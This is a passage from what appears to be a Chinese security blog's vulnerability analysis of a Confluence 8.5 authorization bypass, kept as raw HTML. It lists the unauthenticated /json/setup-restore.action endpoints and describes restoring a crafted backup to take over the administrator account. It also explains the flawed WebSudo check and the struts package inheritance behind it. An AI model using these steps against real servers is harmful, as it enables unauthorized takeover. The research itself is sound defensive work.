0.544px;background-color: rgb(232, 236, 233);">/json/setup-restore.action</span><span style="text-indent: 0pt;letter-spacing: 0.034em;font-size: 18px;"><span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;">，则能进入恢复备份文件页面；</span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">

 <img class="rich_pages wxw-img" data-backh="340" data-backw="578" data-imgfileid="100004590" data-ratio="0.5884146341463414" width="601.7100219726562" data-type="png" data-w="984" height="354.04998779296875" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=17c05a3d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NswJAhDnpJTufHkpRkZyI9DhhDT5eJdzYrzf9EhkU7bky0Dnw3Ehsw3rH7Niao5bLR1oHLYbSzpdQ%2F640%3Fwx_fmt%3Dpng"/></span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">选择上面生成的备份文件进行导入，抓包把</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">synchronous</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">改为 true，表示同步执行任务；</span></span><span style="text-indent: 0pt;font-size: 18px;letter-spacing: 0.034em;"> </span><span style="text-indent: 0pt;font-size: 18px;letter-spacing: 0.034em;"></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><img class="rich_pages wxw-img" data-backh="378" data-backw="578" data-imgfileid="100004591" data-ratio="0.6537282941777324" width="601.7100219726562" data-type="png" data-w="979" height="393.35003662109375" style="text-indent: 0pt;font-size: 18px;letter-spacing: 0.034em;width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=9e4269cf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NswJAhDnpJTufHkpRkZyI9XzUk8arQ86VibFn0INib80ica3G7pc7xaW9fM1TsThvJeZLJZ6PsUOSqQ%2F640%3Fwx_fmt%3Dpng"/><span style="font-size: 12pt;text-indent: 0pt;letter-spacing: 0.034em;"></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><o:page></o:page></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;font-size: 18px;">上传成功；</span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;font-size: 18px;">

 <img class="rich_pages wxw-img" data-backh="94" data-backw="578" data-imgfileid="100004587" data-ratio="0.16296296296296298" width="601.7100219726562" data-type="png" data-w="1080" height="98.05999755859375" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=013bc1ca&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NswJAhDnpJTufHkpRkZyI979HXib9KohDg4tnYqytZFL1ibZvXF5uNibFudK2eGMIOe7otdliccjw1Dg%2F640%3Fwx_fmt%3Dpng"/></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;font-size: 18px;">返回登录界面，用备份文件中的密码进行登录，能够登录进去，说明备份文件覆盖成功。</span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;font-size: 18px;">

 <img class="rich_pages wxw-img" data-backh="305" data-backw="578" data-imgfileid="100004592" data-ratio="0.5277777777777778" width="601.7100219726562" data-type="png" data-w="1080" height="317.6300354003906" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=4bb9aa81&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NswJAhDnpJTufHkpRkZyI9t8MYh498rmw0ZUmtFPibrDoztSnxU5WvdTFKEiadhcST2q0PIhKWy6gA%2F640%3Fwx_fmt%3Dpng"/></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">synchronous</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">不改为 true 的话，就会返回一个 taskId，这个时候虽然返回完成，但还没有覆盖；</span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">

 <img class="rich_pages wxw-img" data-backh="289" data-backw="578" data-imgfileid="100004593" data-ratio="0.5005488474204172" width="601.7100219726562" data-type="png" data-w="911" height="301.19000244140625" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=5f4d5b4e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NswJAhDnpJTufHkpRkZyI9uUNakReu04xia1mXXnpgQkVSnZdx1TM769eDhc3Kv3G2oEDjC3MHocw%2F640%3Fwx_fmt%3Dpng"/></span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="text-indent: 0pt;letter-spacing: 0.034em;font-size: 18px;"><span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;">然后再访问</span></span><span style="text-indent: 0pt;color: rgb(11, 66, 188);font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">/longrunningtaskxml.action?taskId=xxx</span><span style="text-indent: 0pt;letter-spacing: 0.034em;font-size: 18px;"><span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;">才能覆盖完成。</span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;text-indent: 0pt;letter-spacing: 0.034em;"><span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;"></span></span><span style="text-indent: 0pt;letter-spacing: 0.034em;width: 100%;height: auto;"><img class="rich_pages wxw-img" data-backh="203" data-backw="578" data-imgfileid="100004595" data-ratio="0.3515463917525773" width="601.7100219726562" data-type="png" data-w="970" height="211.52999877929688" style="font-size: 18px;text-indent: 0pt;letter-spacing: 0.034em;width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=457adca4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NswJAhDnpJTufHkpRkZyI9QXliab1ruI8peHJT96uwqLhLWVLZff5lV25RacHIEBuFT3lhB5smeIA%2F640%3Fwx_fmt%3Dpng"/></span></section><section style="margin-bottom: 0px;"><span style="color: rgb(6, 153, 7);font-family: &#34;Helvetica Neue&#34;;font-size: 29.3333px;font-weight: 700;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);text-decoration: underline;">4. 漏洞分析</span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">diff 一下 8.5.2 和 8.5.3 版本的 jar 包，新增了两个注解</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">@AdminOnly</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">和</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">@SystemAdminOnly</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">，都是用于校验权限的注解，并且为大部分 action 都添加了</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">@WebSudoRequired</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">注解。</span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">

 <img class="rich_pages wxw-img" data-imgfileid="100004596" data-ratio="0.5055555555555555" width="601.7100219726562" data-type="png" data-w="1080" height="304.2900390625" src="https://wechat2rss.xlab.app/img-proxy/?k=3345d441&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NswJAhDnpJTufHkpRkZyI9aJMfJ9hG4BcUgcUaJHibsAkCVkv2gBl5q3QvQ6buShSazib5LO0MiaylQ%2F640%3Fwx_fmt%3Dpng"/></span></span></section><section style="margin-bottom: 0px;"><strong style="color: rgb(85, 168, 113);font-family: &#34;Helvetica Neue&#34;;font-size: 26px;letter-spacing: 0.578px;text-align: left;text-wrap: wrap;">4-1. 权限校验1</strong></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">在 Confluence 服务中，WebSudo 是一种安全机制，用于验证用户的身份执行敏感操作。他表示用户在执行这些操作时需要通过 Web 界面重新验证身份，也就是进行二次验证，以确保用户具有足够的权限来执行这些敏感任务。</span></span><o:page></o:page></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">在 </span></span><span style="font-size: 18px;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">WebSudoInterceptor </span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">中，获取了 URI、访问的 action 的类以及方法等，调用了</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">matches()</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">方法，如果 matches 方法返回为 true，则进入 else 分支，进行二次登录验证；</span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">

 <img class="rich_pages wxw-img" data-backh="450" data-backw="578" data-imgfileid="100004594" data-ratio="0.7777777777777778" width="601.7100219726562" data-type="png" data-w="1080" height="468.0" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=91ff3e11&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NswJAhDnpJTufHkpRkZyI9LSfCW2nmwyRmkog1NGw5m0UiciaibKasHThs2tDGc0ibD06qWCMEiaRfMQQ%2F640%3Fwx_fmt%3Dpng"/></span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">进入到</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">DefaultWebSudoManager.matches()</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">，判断了 URI 是否为</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">/admin/</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">开头，是则继续判断访问的 action 的类、方法、包是否添加了</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">@WebSudoNotRequired</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">注解，只要有一个添加了</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">@WebSudoNotRequired</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">注解，就说明当前访问的资源不需要进行二次校验；</span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">

 URI 不为</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">/admin/</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">开头，则判断访问的 action 的类、方法、包是否添加了</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">@WebSudoRequired</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">注解，只要有一个添加了</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">@WebSudoRequired</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">注解，就说明访问的资源需要进行二次校验；</span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">

 <img class="rich_pages wxw-img" data-backh="135" data-backw="578" data-imgfileid="100004598" data-ratio="0.23333333333333334" width="601.7100219726562" data-type="png" data-w="1080" height="140.22003173828125" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=1b12ed53&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NswJAhDnpJTufHkpRkZyI9H2a0AzBddeL6XLZQrHd4DTRonibicVQ1NCL31Z7YOLibSnaul6XKdIicuA%2F640%3Fwx_fmt%3Dpng"/></span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">这样的逻辑就存在缺陷，如果以非</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">/admin/</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">开头去访问实际需要 admin 权限、但又没有添加</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">@WebSudoRequired</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">注解的 action，就可以成功绕过</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">matches()</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">的校验。</span></span><o:page></o:page></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">根据官方公告里提到的三条利用路径分析，这三个 action 都属于</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">setup</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">包，应该通过</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">/setup/xxx.action</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">访问才对；</span></span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="sql"><code><span class="code-snippet_outer">/json/setup-restore.action          </span></code><code><span class="code-snippet_outer">/<span class="code-snippet__keyword">json</span>/setup-<span class="code-snippet__keyword">restore</span>-local.action          </span></code><code><span class="code-snippet_outer">/<span class="code-snippet__keyword">json</span>/setup-<span class="code-snippet__keyword">restore</span>-progress.action</span></code></pre></section><section style="margin: 0pt 2.64pt;text-align: left;text-indent: 0pt;font-size: 9pt;font-family: monospace;color: rgb(68, 68, 68);font-weight: normal;background: rgb(240, 240, 240);line-height: 1.6em;"><span style="font-family: monospace;font-variant: normal;text-transform: none;font-size: 18px;"></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">请求</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">/setup/setup-restore.action</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">会显示已经完成安装了；</span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">

 <img class="rich_pages wxw-img" data-backh="224" data-backw="578" data-imgfileid="100004601" data-ratio="0.3881720430107527" width="601.7100219726562" data-type="png" data-w="930" height="233.57000732421875" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=c0c773d0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NswJAhDnpJTufHkpRkZyI9iaxTubIPRgp8ib3cENYia6ia8e2Hu15G3YMlHmnD855B7U517PEpo4IuoA%2F640%3Fwx_fmt%3Dpng"/></span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">但是</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">struts.xml</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">中使用了 package 继承，</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">json</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">继承于</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">admin</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">继承于</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">setup</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">，也就是说通过</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">/json/</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">和</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">/admin/</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">也可以访问</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">/setup/</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">下的 action；</span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">

 <img class="rich_pages wxw-img" data-backh="171" data-backw="573" data-imgfileid="100004599" data-ratio="0.29842931937172773" width="573.010009765625" data-type="png" data-w="573" height="171.0" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=7b607bee&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NswJAhDnpJTufHkpRkZyI9SXo7LJVaeqAvmQTDgTOaSKdm6BKv0VmmGQ1RVs6f3kfyicgzIIQhKGA%2F640%3Fwx_fmt%3Dpng"/></span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">在未登录状态下请求</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">/admin/setup-restore.action</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">会跳转到登录页面，在登录状态下请求会进行二次登录校验；</span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">

 <img class="rich_pages wxw-img" data-backh="303" data-backw="578" data-imgfileid="100004597" data-ratio="0.5243757431629013" width="601.7100219726562" data-type="png" data-w="841" height="315.5199890136719" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=89c13098&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NswJAhDnpJTufHkpRkZyI9Dql4RHs0CojLGWVpKqQibqHWhibWgiaFYicFiaG7Mh0l1xTSd7JztLiawJqw%2F640%3Fwx_fmt%3Dpng"/></span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="text-indent: 0pt;letter-spacing: 0.034em;font-size: 18px;"><span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;">而在未登录状态下请求</span></span><span style="text-indent: 0pt;color: rgb(11, 66, 188);font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">/json/setup-restore.action</span><span style="text-indent: 0pt;letter-spacing: 0.034em;font-size: 18px;"><span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;">则能成功访问，</span></span><span style="text-indent: 0pt;letter-spacing: 0.034em;font-size: 18px;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;">SetupRestoreAction </span><span style="text-indent: 0pt;letter-spacing: 0.034em;font-size: 18px;"><span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;">只能通过 POST 请求；</span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: 